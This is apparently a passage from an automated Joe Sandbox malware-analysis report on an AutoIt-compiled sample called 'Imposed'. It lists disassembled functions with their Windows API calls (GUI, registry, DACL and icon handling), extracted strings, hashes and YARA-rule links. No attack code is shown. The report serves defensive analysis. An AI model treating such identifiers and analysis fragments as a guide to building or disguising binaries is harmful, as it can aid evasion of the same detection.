                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                                                                                                                                • String ID: ($0$tooltips_class32
                                                                                                                                                                • API String ID: 698492251-4156429822
                                                                                                                                                                • Opcode ID: 3fe173af5777d97de5bf71a31ad46246beefb9cefe214290cc26b0b79acbbb69
                                                                                                                                                                • Instruction ID: ff51595f6dd52369d88f8aac4ab98f6bd1ca55057115841258a0cab077b122e2
                                                                                                                                                                • Opcode Fuzzy Hash: 3fe173af5777d97de5bf71a31ad46246beefb9cefe214290cc26b0b79acbbb69
                                                                                                                                                                • Instruction Fuzzy Hash: 19B19C71608350AFDB14DF68D984B6ABBE5FF98340F00892CF5899B2A2D770DC45CB91
                                                                                                                                                                Function 00A20957 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CharUpperBuffW.USER32(?,?), ref: 00A209FB
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A20A35
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A20A9F
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A20B07
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A20B8B
                                                                                                                                                                • SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00A20BDB
                                                                                                                                                                • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00A20C1A
                                                                                                                                                                  • Part of subcall function 009AFE52: _wcslen.LIBCMT ref: 009AFE5D
                                                                                                                                                                  • Part of subcall function 009F2A3F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 009F2A58
                                                                                                                                                                  • Part of subcall function 009F2A3F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 009F2A8A
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen$MessageSend$BuffCharUpper
                                                                                                                                                                • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
                                                                                                                                                                • API String ID: 1103490817-719923060
                                                                                                                                                                • Opcode ID: edbca71bc2bc9947f66aa9df72c93e5a190fd35961bc46fba654bef26f28a0c4
                                                                                                                                                                • Instruction ID: 92930381296383fa181204fa1b084eb3719db2d2c2819b0131207df19f54c523
                                                                                                                                                                • Opcode Fuzzy Hash: edbca71bc2bc9947f66aa9df72c93e5a190fd35961bc46fba654bef26f28a0c4
                                                                                                                                                                • Instruction Fuzzy Hash: 56E1BE712083518FCB14DF28D990D3AB7E6BFD8354B14496CF896AB2A2DB30ED45CB91
                                                                                                                                                                Function 0099243E Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00992515
                                                                                                                                                                • GetSystemMetrics.USER32(00000007), ref: 0099251D
                                                                                                                                                                • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00992548
                                                                                                                                                                • GetSystemMetrics.USER32(00000008), ref: 00992550
                                                                                                                                                                • GetSystemMetrics.USER32(00000004), ref: 00992575
                                                                                                                                                                • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00992592
                                                                                                                                                                • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 009925A2
                                                                                                                                                                • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 009925D5
                                                                                                                                                                • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 009925E9
                                                                                                                                                                • GetClientRect.USER32(00000000,000000FF), ref: 00992607
                                                                                                                                                                • GetStockObject.GDI32(00000011), ref: 00992623
                                                                                                                                                                • SendMessageW.USER32(00000000,00000030,00000000), ref: 0099262E
                                                                                                                                                                  • Part of subcall function 00991976: GetCursorPos.USER32(?), ref: 0099198A
                                                                                                                                                                  • Part of subcall function 00991976: ScreenToClient.USER32(00000000,?), ref: 009919A7
                                                                                                                                                                  • Part of subcall function 00991976: GetAsyncKeyState.USER32(00000001), ref: 009919CC
                                                                                                                                                                  • Part of subcall function 00991976: GetAsyncKeyState.USER32(00000002), ref: 009919E6
                                                                                                                                                                • SetTimer.USER32(00000000,00000000,00000028,00991945), ref: 00992655
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                                                                                                                                • String ID: AutoIt v3 GUI
                                                                                                                                                                • API String ID: 1458621304-248962490
                                                                                                                                                                • Opcode ID: aebd468b85971aed685df458930b94121442ca303de40591044e16fc293fbeaa
                                                                                                                                                                • Instruction ID: 8baa3ce5e6d9bb73f890437869a25ebad0de66c95abef23cfb5c418a2ed971bb
                                                                                                                                                                • Opcode Fuzzy Hash: aebd468b85971aed685df458930b94121442ca303de40591044e16fc293fbeaa
                                                                                                                                                                • Instruction Fuzzy Hash: 86B16D7164020AAFDF14DFACDC45BAE3BB4FB88315F11822AFA15A72A0D774D942CB51
                                                                                                                                                                Function 009F1605 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009F1973: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 009F198E
                                                                                                                                                                  • Part of subcall function 009F1973: GetLastError.KERNEL32(?,00000000,00000000,?,?,009F1415,?,?,?), ref: 009F199A
                                                                                                                                                                  • Part of subcall function 009F1973: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,009F1415,?,?,?), ref: 009F19A9
                                                                                                                                                                  • Part of subcall function 009F1973: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,009F1415,?,?,?), ref: 009F19B0
                                                                                                                                                                  • Part of subcall function 009F1973: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 009F19C7
                                                                                                                                                                • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 009F166F
                                                                                                                                                                • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 009F16A3
                                                                                                                                                                • GetLengthSid.ADVAPI32(?), ref: 009F16BA
                                                                                                                                                                • GetAce.ADVAPI32(?,00000000,?), ref: 009F16F4
                                                                                                                                                                • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 009F1710
                                                                                                                                                                • GetLengthSid.ADVAPI32(?), ref: 009F1727
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000008,00000008), ref: 009F172F
                                                                                                                                                                • HeapAlloc.KERNEL32(00000000), ref: 009F1736
                                                                                                                                                                • GetLengthSid.ADVAPI32(?,00000008,?), ref: 009F1757
                                                                                                                                                                • CopySid.ADVAPI32(00000000), ref: 009F175E
                                                                                                                                                                • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 009F178D
                                                                                                                                                                • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 009F17AF
                                                                                                                                                                • SetUserObjectSecurity.USER32(?,00000004,?), ref: 009F17C1
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 009F17E8
                                                                                                                                                                • HeapFree.KERNEL32(00000000), ref: 009F17EF
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 009F17F8
                                                                                                                                                                • HeapFree.KERNEL32(00000000), ref: 009F17FF
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 009F1808
                                                                                                                                                                • HeapFree.KERNEL32(00000000), ref: 009F180F
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000000,?), ref: 009F181B
                                                                                                                                                                • HeapFree.KERNEL32(00000000), ref: 009F1822
                                                                                                                                                                  • Part of subcall function 009F1A0D: GetProcessHeap.KERNEL32(00000008,009F142B,?,00000000,?,009F142B,?), ref: 009F1A1B
                                                                                                                                                                  • Part of subcall function 009F1A0D: HeapAlloc.KERNEL32(00000000,?,00000000,?,009F142B,?), ref: 009F1A22
                                                                                                                                                                  • Part of subcall function 009F1A0D: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,009F142B,?), ref: 009F1A31
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4175595110-0
                                                                                                                                                                • Opcode ID: 854b3cdda7521d7cc57b44d83f3a63d82b6cfdf258644883a12f8a6fd2eabef7
                                                                                                                                                                • Instruction ID: 6efdd14af417f9a4e6f2ad1125000e8e985d8b79becf98c9421fb534f784abd1
                                                                                                                                                                • Opcode Fuzzy Hash: 854b3cdda7521d7cc57b44d83f3a63d82b6cfdf258644883a12f8a6fd2eabef7
                                                                                                                                                                • Instruction Fuzzy Hash: 957119B290020EEBDF20DFA5DC45BFEBBB8BF04351F144125EA19A65A1D7719906CBA0
                                                                                                                                                                Function 00A1CB3A Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A1CC40
                                                                                                                                                                • RegCreateKeyExW.ADVAPI32(?,?,00000000,00A2DBF4,00000000,?,00000000,?,?), ref: 00A1CCC7
                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 00A1CD27
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A1CD77
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A1CDF2
                                                                                                                                                                • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 00A1CE35
                                                                                                                                                                • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 00A1CF44
                                                                                                                                                                • RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 00A1CFD0
                                                                                                                                                                • RegCloseKey.ADVAPI32(?), ref: 00A1D004
                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 00A1D011
                                                                                                                                                                • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 00A1D0E3
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Value$Close$_wcslen$ConnectCreateRegistry
                                                                                                                                                                • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                                                                                                                                • API String ID: 9721498-966354055
                                                                                                                                                                • Opcode ID: c695704bed9a47e65fe116aa60443fc921609e21ec45bd1c2f47552b9b92936b
                                                                                                                                                                • Instruction ID: 594f96d4fefd65370c0f6bf26d189cf10484accde50d676c65d13b2ceeb7eb22
                                                                                                                                                                • Opcode Fuzzy Hash: c695704bed9a47e65fe116aa60443fc921609e21ec45bd1c2f47552b9b92936b
                                                                                                                                                                • Instruction Fuzzy Hash: B7126B752042019FDB14DF18C981B6AB7E5FF88764F14845CF89A9B3A2DB31ED86CB81
                                                                                                                                                                Function 00A21034 Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CharUpperBuffW.USER32(?,?), ref: 00A210DC
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A21117
                                                                                                                                                                • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00A2116A
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A211A0
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A2121C
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A21297
                                                                                                                                                                  • Part of subcall function 009AFE52: _wcslen.LIBCMT ref: 009AFE5D
                                                                                                                                                                  • Part of subcall function 009F33F3: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 009F3405
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen$MessageSend$BuffCharUpper
                                                                                                                                                                • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                                                                                                                                • API String ID: 1103490817-4258414348
                                                                                                                                                                • Opcode ID: e510a3eb2ce4a0e33ada018e25fe7caf73ffbf3e0671d021d064934ae1ab8d5e
                                                                                                                                                                • Instruction ID: 130a9e7b3c4c00bd7d33c42b0c87c1a392e852ec62f88815f220d693a19409dd
                                                                                                                                                                • Opcode Fuzzy Hash: e510a3eb2ce4a0e33ada018e25fe7caf73ffbf3e0671d021d064934ae1ab8d5e
                                                                                                                                                                • Instruction Fuzzy Hash: 62E1CF71208351CFCB14EF28D55096AB7E2BFE4354B10896CF896AB7A2DB34ED45CB81
                                                                                                                                                                Function 00997CDD Relevance: 30.0, APIs: 2, Strings: 15, Instructions: 276COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                                                                                                                                • API String ID: 0-1645009161
                                                                                                                                                                • Opcode ID: 529bba002f3b4788fa873f121bca2113c288ed00b96f43d8085612679c3b690d
                                                                                                                                                                • Instruction ID: d69b2503ac3f8da5d93bd791ef8c227800986e6189ae9eb13e3f4d6f3dec9a2e
                                                                                                                                                                • Opcode Fuzzy Hash: 529bba002f3b4788fa873f121bca2113c288ed00b96f43d8085612679c3b690d
                                                                                                                                                                • Instruction Fuzzy Hash: F7910171B44205BBCF10AFA8DD42FBE7768BF46300F048825F909AB292EB71D951D7A1
                                                                                                                                                                Function 00A1D11B Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 240COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen$BuffCharUpper
                                                                                                                                                                • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                                                                                                                                • API String ID: 1256254125-909552448
                                                                                                                                                                • Opcode ID: 95a5dad287bd68863995c719e7cdddf1d3ceb2f839376e55184b18cbac194740
                                                                                                                                                                • Instruction ID: 0f856c6a11d969e063a87027074e35d1ff8a0386ac932165d85b1b91166e53ad
                                                                                                                                                                • Opcode Fuzzy Hash: 95a5dad287bd68863995c719e7cdddf1d3ceb2f839376e55184b18cbac194740
                                                                                                                                                                • Instruction Fuzzy Hash: E271E1326001668BCB109FBCC9516FE33A6AFA5754B240628FC76AB285EB35DD85C391
                                                                                                                                                                Function 00A28944 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A28962
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A28976
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A28999
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A289BC
                                                                                                                                                                • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00A289FA
                                                                                                                                                                • LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00A262CE), ref: 00A28A56
                                                                                                                                                                • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00A28A8F
                                                                                                                                                                • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00A28AD2
                                                                                                                                                                • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00A28B09
                                                                                                                                                                • FreeLibrary.KERNEL32(?), ref: 00A28B15
                                                                                                                                                                • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00A28B25
                                                                                                                                                                • DestroyIcon.USER32(?,?,?,?,?,00A262CE), ref: 00A28B34
                                                                                                                                                                • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00A28B51
                                                                                                                                                                • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00A28B5D
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
                                                                                                                                                                • String ID: .dll$.exe$.icl
                                                                                                                                                                • API String ID: 799131459-1154884017
                                                                                                                                                                • Opcode ID: 3077cc579d34428bce2d9613eb39f177768fa2af4c825f207d151e740260daa2
                                                                                                                                                                • Instruction ID: a477589c93d7a2a61e923402d7bca969484f5f547ee071863ba1854891823112
                                                                                                                                                                • Opcode Fuzzy Hash: 3077cc579d34428bce2d9613eb39f177768fa2af4c825f207d151e740260daa2
                                                                                                                                                                • Instruction Fuzzy Hash: FD61B0B1501225BAEB24DF68DD41BFE77ACFB08750F10452AF815D60D2DF78AA81DBA0
                                                                                                                                                                Function 00A04790 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CharLowerBuffW.USER32(?,?), ref: 00A0480F
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A0481A
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A04871
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A048AF
                                                                                                                                                                • GetDriveTypeW.KERNEL32(?), ref: 00A048ED
                                                                                                                                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00A04935
                                                                                                                                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00A04970
                                                                                                                                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00A0499E
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: SendString_wcslen$BuffCharDriveLowerType
                                                                                                                                                                • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                                                                                                                • API String ID: 1839972693-4113822522
                                                                                                                                                                • Opcode ID: a218c99804f2b64e1007b7bf5ee4dc52966c9c163558c066546f0e024dcbeb1b
                                                                                                                                                                • Instruction ID: 714922ffff321afda6c8b5ec47f18d2553ac75c841d7db407bfe64ccd36e3621
                                                                                                                                                                • Opcode Fuzzy Hash: a218c99804f2b64e1007b7bf5ee4dc52966c9c163558c066546f0e024dcbeb1b
                                                                                                                                                                • Instruction Fuzzy Hash: CF71E0B15082059FC710EF28E890A6FB7E4FF98754F00492DF99697291EB31ED4ACB91
                                                                                                                                                                Function 009F6237 Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadIconW.USER32(00000063), ref: 009F624A
                                                                                                                                                                • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 009F625C
                                                                                                                                                                • SetWindowTextW.USER32(?,?), ref: 009F6273
                                                                                                                                                                • GetDlgItem.USER32(?,000003EA), ref: 009F6288
                                                                                                                                                                • SetWindowTextW.USER32(00000000,?), ref: 009F628E
                                                                                                                                                                • GetDlgItem.USER32(?,000003E9), ref: 009F629E
                                                                                                                                                                • SetWindowTextW.USER32(00000000,?), ref: 009F62A4
                                                                                                                                                                • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 009F62C5
                                                                                                                                                                • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 009F62DF
                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 009F62E8
                                                                                                                                                                • _wcslen.LIBCMT ref: 009F634F
                                                                                                                                                                • SetWindowTextW.USER32(?,?), ref: 009F638B
                                                                                                                                                                • GetDesktopWindow.USER32 ref: 009F6391
                                                                                                                                                                • GetWindowRect.USER32(00000000), ref: 009F6398
                                                                                                                                                                • MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 009F63EF
